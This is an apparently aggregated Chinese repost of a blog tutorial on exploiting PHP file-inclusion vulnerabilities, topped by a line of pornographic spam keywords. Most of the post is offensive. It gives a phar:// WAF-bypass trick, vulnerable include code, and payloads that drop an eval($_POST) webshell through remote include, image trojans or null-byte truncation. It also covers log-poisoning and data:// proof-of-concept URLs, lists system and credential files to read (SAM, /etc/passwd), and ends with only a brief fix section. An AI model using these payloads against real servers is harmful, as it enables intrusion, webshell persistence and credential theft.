日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog

發(fā)布時(shí)間:2024/4/18 php 50 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

誰將煙焚散,散了縱橫的牽絆

文件包含漏洞是滲透測試過程中用得比較多的一個(gè)漏洞,主要用來繞過waf上傳木馬文件。今日在逛Tools論壇時(shí),發(fā)現(xiàn)了一種新型的文件包含姿勢,在此記錄分享,并附上一些文件包含漏洞的基礎(chǔ)利用姿勢。

特殊姿勢

利用phar://協(xié)議特性可以在滲透過程中幫我們繞過一些waf檢測,phar:// 數(shù)據(jù)流包裝器自 PHP 5.3.0 起開始有效,貌似可以繞過安全狗。

利用過程

新建shell.php代碼內(nèi)容:1

2

3<?php

include 'phar://test.rar/test.txt';

?>

新建test.txt里的內(nèi)容:1

2

3<?php

phpinfo();

?>

壓縮test.txt文件,可以重命名壓縮文件為zip,phar,rar等格式,之后訪問shell.php文件后,會(huì)出現(xiàn)phpinfo內(nèi)容。

親測有效

在實(shí)驗(yàn)環(huán)境下,在test目錄下新建shell.php,test.txt,并將test.txt打包成test.zip。

shell.php內(nèi)容如下:

test.txt內(nèi)容如下:

訪問shell.php:

php文件包含漏洞

PHP中的文件包含分為本地包含與遠(yuǎn)程包含,導(dǎo)致文件包含的函數(shù)如下:

include()

include_once()

require()

require_once()

fopen()

readfile()

……

本地包含漏洞(LFI)

新建一個(gè)phpinfo.txt,然后新建一個(gè)shell.php,寫入:1

2

3<?php

Include('phpinfo.txt');

?>

訪問shell.php會(huì)輸出phpinfo頁面內(nèi)容,無論將擴(kuò)展名改為什么,都將以php代碼執(zhí)行。如果文件不是符合php規(guī)則的(即沒有寫<?php ?>等),則通過include可以直接輸出源碼。

遠(yuǎn)程包含漏洞

前提:需要開啟allow_url_fopen,默認(rèn)關(guān)閉。

新建php.txt:1

2

3<?php

echo 'hello world';

?>

新建index.php:1

2

3<?php

Include($_GET['page']);

?>

文件包含利用

讀取敏感信息1

2

3

4

5c:\boot.ini

c:\windows\systems32\inetsrv\MetaBase.xml

c:\windows\repair\sam

c:\windows\php.ini php配置文件

c:\windows\my.ini mysql配置文件

LINUX:1

2

3

4

5/etc/passwd

/usr/local/app/apache2/conf/http.conf

/usr/local/app/php5/lib/php.ini PHP相關(guān)設(shè)置

/etc/httpd/conf/http.conf apache配置文件

/etc/my.cnf mysql配置文件

遠(yuǎn)程包含shell

test.txt文件,可以保存在遠(yuǎn)程服務(wù)器上,內(nèi)容如下:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[nmask]);?>')?>

1<?php eval($_POST[nmask]);?>

本地包含配合文件上傳

如果目標(biāo)服務(wù)器關(guān)閉了allow_url_fopen,則可以嘗試使用本地包含 文件上傳

上傳一個(gè)圖片木馬a.jpg,內(nèi)容為:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[tzc]);?>')?>

本地包含配合apache日志拿shell

apache日志分為access.log與error.log,當(dāng)我們請(qǐng)求一個(gè)url地址時(shí),便會(huì)記錄在access.log中,但如果訪問一個(gè)不存在的頁面,便會(huì)將這個(gè)頁面寫入access.log中。如訪問URL:http://www.xxx.com/<?php eval([$_POST]);?>則會(huì)將一句話寫入到access.log中,但是一般來說,寫入到access.log文件中的一句話是被編碼的,所以需要抓包繞過,而且利用此漏洞需要知道access.log的地址,不然便沒有。

利用/proc/self/environ進(jìn)行包含

利用php協(xié)議進(jìn)行包含data:  php5.2以后版本

php://input  需要開啟allow_url_include

poc:1http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

截?cái)喟?/p>

有些開發(fā)者為了防止本地包含漏洞,會(huì)編寫一下代碼:1

2

3<?php

Include $_GET['page'].'.php'

?>

(一)00截?cái)喟?/p>

新建1.jpg:1<?fputs (fopen('shell.php','w'),'<?php eval($_POST[tzc]);?>')?>

這樣的話比如上傳一個(gè)1.jpg圖片碼,則訪問

(二)使用長目錄截?cái)?

2

3

4

5././././././././././././././etc/passwd

或者

etc/passwd

或者

../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

在windows下目錄最大長度為256字節(jié),linux下為4096字節(jié),其后面超出部分被丟棄。

文件包含漏洞修復(fù)

開啟open_basedir函數(shù),將其設(shè)置為指定目錄,則只有該目錄的文件允許被訪問。

關(guān)閉allow_url_include函數(shù),防止遠(yuǎn)程文件包含。

jsp文件包含漏洞

include1

2

3

jsp:include1

2

3

說明

(1)include指令在轉(zhuǎn)換時(shí)插入“Header.jsp”的源代碼,而標(biāo)準(zhǔn)動(dòng)作在運(yùn)行時(shí)插入“Header.jsp”的響應(yīng)。元素允許你包含動(dòng)態(tài)文件和靜態(tài),而include說明標(biāo)簽僅僅是把一個(gè)文件內(nèi)容當(dāng)成靜態(tài)追加到主文件中去。

(2)采用前兩種方式,只能包含當(dāng)前web應(yīng)用的界面,不過c:import可以包含容器之外的內(nèi)容。

asp文件包含漏洞

asp貌似無法包含遠(yuǎn)程文件(iis安全設(shè)置),只能包含本地文件,語法如下:1

aspx文件包含漏洞

aspx文件包含與asp一樣,語法如下:1

傳送門

總結(jié)

以上是生活随笔為你收集整理的php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。